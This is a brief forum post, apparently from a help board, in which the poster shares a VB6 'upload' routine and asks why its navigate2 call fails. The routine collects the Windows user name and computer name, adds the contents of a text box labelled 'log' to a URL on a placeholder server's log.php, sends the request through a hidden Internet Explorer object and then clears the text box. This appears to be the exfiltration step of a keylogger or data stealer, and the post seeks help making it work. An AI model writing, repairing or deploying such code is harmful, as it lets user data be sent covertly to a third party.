Code:
Private Sub upload()
Dim ie
Set ie = CreateObject("InternetExplorer.Application")
Dim szUser As String
Dim vers As String
szUser = Space(255)
vers = Space(255)
Dim lReturn, comp As Long
lReturn = GetUserNameA(szUser, 255)
comp = GetComputerNameA(vers, 1024)
vers = Trim(Left$(vers, InStr(1, vers, Chr$(0)) - 1))
szUser = Trim(Left$(szUser, InStr(1, szUser, Chr$(0)) - 1))
Dim site As String
site = "http://<SITENAME>/log.php?pw=PASSWORD&v="
site = site + vers + "~" + szUser
site = site + "&log=" & Replace$(Replace$(Text1.Text, "+", "%2B"), "=", "%3D")
ie.navigate2 site
Do
DoEvents
Loop While ie.Busy = True
ie.Quit
Set ie = Nothing
Text1.Text = ""
End Sub
Every time I run this it says "method navigate of object iwebbrowser2 failed" on the line 'ie.navigate2 site'. Any suggestions?
Bookmarks